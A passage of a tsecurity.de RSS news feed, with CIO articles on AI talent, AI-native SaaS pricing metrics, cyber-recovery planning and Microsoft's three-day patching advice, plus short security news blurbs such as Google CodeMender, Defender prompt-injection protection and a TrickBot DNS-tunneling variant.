<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnera...]]></description>
<link>https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnerability scanning toward autonomous remediation, where security tools not only detect flaws but also […]</p>
<p>The post <a href="https://cybersecuritynews.com/google-launches-codemender-ai-agent/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Best Vacuum for Pet Hair—We Tested Many to Find Which Ones Work Best (2026)]]></title>
<description><![CDATA[Cordless, handheld, robot, and traditional—we tested them all to find the vacuum that’s fantastic for fur.]]></description>
<link>https://tsecurity.de/de/3688926/it-nachrichten/the-best-vacuum-for-pet-hair-we-tested-many-to-find-which-ones-work-best-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688926/it-nachrichten/the-best-vacuum-for-pet-hair-we-tested-many-to-find-which-ones-work-best-2026/</guid>
<pubDate>Thu, 23 Jul 2026 13:50:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cordless, handheld, robot, and traditional—we tested them all to find the vacuum that’s fantastic for fur.]]></content:encoded>
</item>
<item>
<title><![CDATA[How Digital Risk Management Services Strengthen Enterprise Cybersecurity]]></title>
<description><![CDATA[In today’s hyperconnected world, organizations face cyber threats that extend far beyond their internal networks. Attackers target brands through phishing websites, leaked credentials, exposed assets, social media impersonation, and third-party vulnerabilities. These risks can damage an organizat...]]></description>
<link>https://tsecurity.de/de/3688900/it-security-nachrichten/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688900/it-security-nachrichten/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In today’s hyperconnected world, organizations face cyber threats that extend far beyond their internal networks. Attackers target brands through phishing websites, leaked credentials, exposed assets, social media impersonation, and third-party vulnerabilities. These risks can damage an organization’s reputation, disrupt operations, and lead to financial losses long before traditional security tools detect them. This is where […]</p>
<p>The post <a href="https://www.seqrite.com/blog/how-digital-risk-management-services-strengthen-enterprise-cybersecurity/" data-wpel-link="internal" target="_self" rel="follow">How Digital Risk Management Services Strengthen Enterprise Cybersecurity</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Adds Prompt Injection Protection to Defender for Office 365]]></title>
<description><![CDATA[Microsoft has introduced prompt injection protection in Defender for Office 365, representing a significant advancement in securing enterprise email environments against emerging AI-targeted threats. As organizations increasingly adopt AI assistants like Microsoft 365 Copilot to summarize, triage...]]></description>
<link>https://tsecurity.de/de/3688528/it-security-nachrichten/microsoft-adds-prompt-injection-protection-to-defender-for-office-365/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688528/it-security-nachrichten/microsoft-adds-prompt-injection-protection-to-defender-for-office-365/</guid>
<pubDate>Thu, 23 Jul 2026 11:29:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced prompt injection protection in Defender for Office 365, representing a significant advancement in securing enterprise email environments against emerging AI-targeted threats. As organizations increasingly adopt AI assistants like Microsoft 365 Copilot to summarize, triage, and respond to emails, attackers are shifting their tactics from traditional phishing methods to manipulating AI systems directly. […]</p>
<p>The post <a href="https://gbhackers.com/microsoft-adds-prompt-injection-protection-to-defender/">Microsoft Adds Prompt Injection Protection to Defender for Office 365</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smart Video and AI-Powered Tools Are Reshaping Campus Security]]></title>
<description><![CDATA[Campuses require far more security than the traditional gates and guards.]]></description>
<link>https://tsecurity.de/de/3688496/it-security-nachrichten/smart-video-and-ai-powered-tools-are-reshaping-campus-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688496/it-security-nachrichten/smart-video-and-ai-powered-tools-are-reshaping-campus-security/</guid>
<pubDate>Thu, 23 Jul 2026 11:13:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Campuses require far more security than the traditional gates and guards.]]></content:encoded>
</item>
<item>
<title><![CDATA[Bluetooth Vulnerability Exposes 2.2 Million Cars to Remote Unlock and Immobilization Attacks]]></title>
<description><![CDATA[A recently disclosed Bluetooth vulnerability in the aftermarket KARR Security System exposes approximately 2.2 million vehicles to remote attacks that could allow unauthorized door unlocking, alarm control, and vehicle immobilization. This issue, uncovered by researchers at the University of Cali...]]></description>
<link>https://tsecurity.de/de/3688342/it-security-nachrichten/bluetooth-vulnerability-exposes-22-million-cars-to-remote-unlock-and-immobilization-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688342/it-security-nachrichten/bluetooth-vulnerability-exposes-22-million-cars-to-remote-unlock-and-immobilization-attacks/</guid>
<pubDate>Thu, 23 Jul 2026 10:06:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A recently disclosed Bluetooth vulnerability in the aftermarket KARR Security System exposes approximately 2.2 million vehicles to remote attacks that could allow unauthorized door unlocking, alarm control, and vehicle immobilization. This issue, uncovered by researchers at the University of California, San Diego, highlights a growing risk associated with dealer-installed hardware that falls outside the traditional […]</p>
<p>The post <a href="https://cybersecuritynews.com/karr-bluetooth-vulnerability-exposes/">Bluetooth Vulnerability Exposes 2.2 Million Cars to Remote Unlock and Immobilization Attacks</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New TrickBot Malware Variant Uses DNS Tunneling for Command-and-Control]]></title>
<description><![CDATA[A new TrickBot malware variant that significantly evolves its command-and-control (C2) communication by leveraging DNS tunneling, replacing the traditional HTTP-based mechanisms observed in earlier campaigns. The discovery highlights a continued shift among financially motivated threat actors tow...]]></description>
<link>https://tsecurity.de/de/3688237/it-security-nachrichten/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688237/it-security-nachrichten/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/</guid>
<pubDate>Thu, 23 Jul 2026 09:11:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new TrickBot malware variant that significantly evolves its command-and-control (C2) communication by leveraging DNS tunneling, replacing the traditional HTTP-based mechanisms observed in earlier campaigns. The discovery highlights a continued shift among financially motivated threat actors toward stealthier communication channels designed to evade network detection and security controls. However, the newly analyzed samples demonstrate a […]</p>
<p>The post <a href="https://gbhackers.com/trickbot-malware-variant-uses-dns/">New TrickBot Malware Variant Uses DNS Tunneling for Command-and-Control</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



